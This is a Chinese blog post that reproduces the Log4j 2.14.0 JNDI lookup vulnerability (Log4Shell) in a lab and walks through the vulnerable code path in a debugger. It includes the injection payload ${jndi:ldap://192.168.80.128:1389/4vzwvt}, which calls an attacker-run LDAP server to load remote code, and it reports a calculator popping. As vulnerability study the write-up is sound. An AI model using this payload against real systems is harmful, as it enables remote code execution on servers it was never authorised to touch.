复现其实刚出没几天就复现完了(payload到处飞,好几天了都),但主要是漏洞原理一直没怎么搞明白,现在简单记录一下。
环境:
jdk 1.8_102(和fastjson一样,这样能让ldap和rmi都能用)
log4j的jar包的下载地址:https://github.com/apache/logging-log4j2/releases/tag/rel/2.14.0(我也忘了我是哪里下载的了,apache官网里的低版本好像被删了,给的链接为github的源码,用mvn打包一下即可用(大概吧))
ldap和rmi都是拿着工具(和复现fastjson的工具一样,可以翻一翻我前面的文章)起在虚拟机上的
然后自己写一点东西作为主函数,然后将log4j添加为依赖再加payload即可,代码如下:
1 | import org.apache.logging.log4j.LogManager; |
复现漏洞
调试下断点啥的相信大伙都会,就不过多赘述了,写点我自己理解的吧
一路下断点步入和强制步入,追到\org\apache\logging\log4j\core\pattern\MessagePatternConverter.class
的116行,关键代码如下:
1 | if (this.config != null && !this.noLookups) { |
在这里的if语句会对当前字符与下一字符进行检查,若当前字符为$
且下一字符为{
时,他会对log日志的内容进行切割(WorkBuilder为其内容),得到${jndi:ldap://192.168.80.128:1389/4vzwvt}
当其对event中的内容进行替换时,进入org\apache\logging\log4j\core\lookup\StrSubstitutor.class
中的311行的private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables)
方法,
在327行有这么一行代码,用于匹配字符前缀(即${
):
1 | int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd); |
可以看到startMatchLen被赋值于2,在对字符串所有字符进行遍历匹配是否存在前缀之后,进入358行的这么一段代码:
1 | String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen); |
此时chars的值为${jndi:ldap://192.168.80.128:1389/4vzwvt}
,startpos
的值为0
,startMatchLen
的值为2,pos
的值为40,得到的varNameExpr的值为:jndi:ldap://192.168.80.128:1389/4vzwvt
这样就完成了对该值的提取并再次对整个字符串进行遍历。发现该字符串不存在其他前缀之后继续步过,进入到418行的
1 | String varValue = this.resolveVariable(event, varName, buf, startPos, pos); |
步入该方法,映入眼帘的正是lookup。
1 | protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) { |
成功弹出计算器
小结
吃喝玩乐摸了一整年,让我从菜逼变成了大菜逼,只好现在在工作之余努力跟上,此文引以为戒。文章水平不高,也请大佬轻喷
- 本文作者: Sn1pEr
- 本文链接: https://sn1per-ssd.github.io/2022/01/03/log4j复现/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!